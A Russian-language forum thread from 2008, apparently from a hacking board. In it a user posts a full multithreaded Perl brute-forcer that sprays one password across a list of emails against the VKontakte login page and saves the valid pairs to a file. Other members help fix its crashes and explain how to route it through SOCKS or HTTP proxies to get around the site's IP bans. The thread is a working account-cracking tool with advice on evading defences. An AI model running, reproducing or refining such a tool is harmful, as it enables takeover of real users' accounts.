Почему брутфорс на перле глохнет не пробрутив весь список мыл?

Discussion in 'PHP' started by MaTpOc, 22 Sep 2008.

  1. MaTpOc

    MaTpOc Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    633
    Likes Received:
    475
    Reputations:
    25
    Када загружаю 25 000 мыл, то не проходит и 5 мин как скрипт закрывает и все!что это?как устранить?
    ЗЫ: када гружу 5000-14000 вроде все норм...
     
  2. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    мб оперативка засирается
    сообщение об ошибке покажи
     
  3. MaTpOc

    MaTpOc Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    633
    Likes Received:
    475
    Reputations:
    25
    брутер много поточный, вроде 5 или 6 потоков и они по одному глохнут а када все заглохли скрипт закрывается, тока как сделать так чтоб они не глохли?
     
  4. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    ты покажи или сообщение об ошибке или сурс скрипта
    хз что там у тебя происходит
     
  5. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    Ога, тут на форуме телепатокодеры собираются - твой глючный код им на расстоянии должно быть видно. )
     
  6. .nor

    .nor Elder - Старейшина

    Joined:
    29 Jun 2007
    Messages:
    50
    Likes Received:
    7
    Reputations:
    0
    Наверное речь идет о Dhomo. Такая же проблема тупо засирается оперативка кажись.хз что делать =(
     
  7. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    >> хз что делать =(

    Отправить это говно в треш. +)
     
  8. MaTpOc

    MaTpOc Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    633
    Likes Received:
    475
    Reputations:
    25
    вот:
    [​IMG]
    потом еще 2 и 3 и все скрипт закрывается =(
    Вот сам скрипт:
    Code:
    #! /usr/bin/perl -w
    use IO::Socket;
    use threads;
    use threads::shared;
    
    $threads =  shift || 5                    ; #Кол-во потоков
    $pass    =  shift || '123456'          ; #pwd
    $fname   = 'good.txt'                  ; #Валидные
    $ml      =  shift || 'emails.txt'     ; #Список мыл
    
    my @acc : shared;
    my $i : shared;
    my $total : shared;
    $| =1;
    
    print "Loading...\n";
    
    open (ACS, "<$ml") || die("Could not open mail list file!");
    @acc = acc();
    
    $size = scalar @acc;
    $time       = time;
    $start       = localtime;
    print  "Loaded: ",$size," emails.\n";
    printf "Started at $start\n";
    
    for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
    for(@trl) { $_->join; }
    
    sub Brut
    {
         while(@acc)
         {
              {lock(@acc);$acc = shift @acc;}
              my $sock = new IO::Socket::INET
              (
              PeerAddr => 'vkontakte.ru',
                 PeerPort => 80,
                 PeerProto => 'tcp',
                 TimeOut => 20
              ) or die "Can't connect\n";
    
              my $data = "email=$acc&pass=$pass";
              my $len = length($data);
              my $re = "POST /login.php HTTP/1.1\nHost: vkontakte.ru\n".
               "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0b1; Windows NT 5.1; SV1; .NET CLR 1.1.4322; MS IdentiServ 1.4.12)\nKeep-Alive: 300\n".
               "Connection: keep-alive\nReferer: http://vkontakte.ru\n".
               "Content-Type: application/x-www-form-urlencoded\n".
               "Content-Length: $len\n\n$data";
    
              print $sock $re;
              sysread ($sock, my $answ, 800);
    
              if($answ =~ /\S{32}/)
                   {
                        {lock($total); $total++;}
                        print "[+] $acc\n";
                        open(FILE, ">>$fname") || die("Could not open $fname\n");
                        print FILE "$acc:$pass\n";
                        close(FILE);
                   }
              {lock($i);$i++;}
              $percent = ($i/$size)*100;
              progress();
    
         }
    
    
    }
    
    
    $time = time-$time;
    $end = localtime;
    printf "Finished at $end\n";
    printf "Time elapsed: $time sec\n";
    printf "Finded: $total \n";
    
    sub progress{
    
    print "|";
    $percent = sprintf("%.2f", $percent);
    print "< $percent% > complete";
    print "\r";
         }
    
    sub acc
    {
         my (@mas);
         while (<ACS>){
         push @mas, $_;
         }
         chomp @mas;
         return @mas;
    }
    
     
  9. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Code:
    sub acc
    {
         my (@mas);
         while (<ACS>){
         push @mas, $_;
         }
         chomp @mas;
         return @mas;
    }
    
    кошмар
    скорее всего из-за этого засирается + ещё каждый поток нсколько я помню берёт около 1.5 мб озу
    как вариант можно попробовать грузить не целый файл, а по частям

    Code:
    sub acc
    {
    my (@mas);
    while (<ACS>){
    push @mas, $_;
    last if (@mas > 300);
    }
    return @mas;
    }
    
    Вот как реализовано у меня
    https://forum.antichat.ru/thread55661.html

    PS а вообще помойму там тупо ошибка подключения
    мб контакт начал банить по ипу?
     
    #9 Spyder, 22 Sep 2008
    Last edited: 22 Sep 2008
    1 person likes this.
  10. MaTpOc

    MaTpOc Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    633
    Likes Received:
    475
    Reputations:
    25
    угу, контакт уже давно банит по ипи, у меня статический ипи и када я перезашел то в контакт стало залазить а до этого не уя)
     
  11. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    так тогда чё ж ты спрашиваешь если сам знаешь в чём дело? :d
     
    1 person likes this.
  12. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    >> die "Can't connect\n";

    Вообще, ошибка тут. )
    Тут разумно sleep сделать ненадолго, а затем реконнектиться пробовать, но никак не убивать поток. Ну и прокси заюзать, наверно, стоит.
    p.s. А локи тут нигде не нужны. )
     
  13. MaTpOc

    MaTpOc Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    633
    Likes Received:
    475
    Reputations:
    25
    как заюзать прокси, я ни када не юзал просто(
     
  14. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    Например, можно IO::Socket::Socks использовать.
     
  15. MaTpOc

    MaTpOc Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    633
    Likes Received:
    475
    Reputations:
    25
    а где это взять и как им пользоваться??? :confused:
     
    1 person likes this.
  16. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    Это превад.
    Но, так и быть, отдам тебе за 10wmz.
     
    1 person likes this.
  17. BlackDraG

    BlackDraG Elder - Старейшина

    Joined:
    27 May 2008
    Messages:
    0
    Likes Received:
    7
    Reputations:
    0
    мдя : D
     
  18. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    MaTpOc
    Диджимортал кедала, пару дней назад всё слилось в паблик но доступно только для узкого круга
    Вот тебе пожалуй покажу, только тссссс! Больше некмоу не говори
    http://search.cpan.org/~reatmon/IO-Socket-Socks-0.1/lib/IO/Socket/Socks.pm
     
  19. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Лол, эта функция вызывается один раз, до начала потоков ))

    Простые хттп прокси можешь указывать вместо
    PeerAddr => 'vkontakte.ru',
    PeerPort => 80,

    Только в пост запросе полный путь пропиши.
     
    _________________________
    1 person likes this.
  20. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Kaimi, я согласен с тем что ошибка не из-за этого, но ты всё таки загрузи файлик с мылами на 1 гб и посмтрим прав я или нет ))
    И каждый поток берёт примерно 1,5 мб оперативы
    С этим тоже будешь спорить?
     
    2 people like this.